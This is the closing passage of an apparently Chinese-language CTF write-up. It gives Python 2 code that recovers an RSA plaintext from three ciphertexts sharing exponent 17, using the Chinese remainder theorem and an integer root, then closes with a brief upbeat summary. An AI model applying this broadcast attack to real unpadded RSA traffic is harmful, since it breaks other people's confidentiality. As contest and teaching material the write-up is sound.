    ''' c1 = me mod n1 c2 = me mod n2 c3 = m**e mod n3 ... ... ''' sessions=[{"c":8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696,"e":17,"n":18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393},{"c": 17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956,"e":17,"n":21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883},{"c":5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607,"e":17,"n":22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789}]

    data = [] for session in sessions: e=session['e'] n=session['n'] msg=session['c'] data += [(msg, n)] print "Please wait, performing CRT" x, n = chinese_remainder_theorem(data) e=session['e'] realnum = gmpy.mpz(x).root(e)[0].digits() print my_parse_number(int(realnum))

    
    
    
    ## 总结
    
    这次比赛收获还是挺大的,继续冲冲冲!!!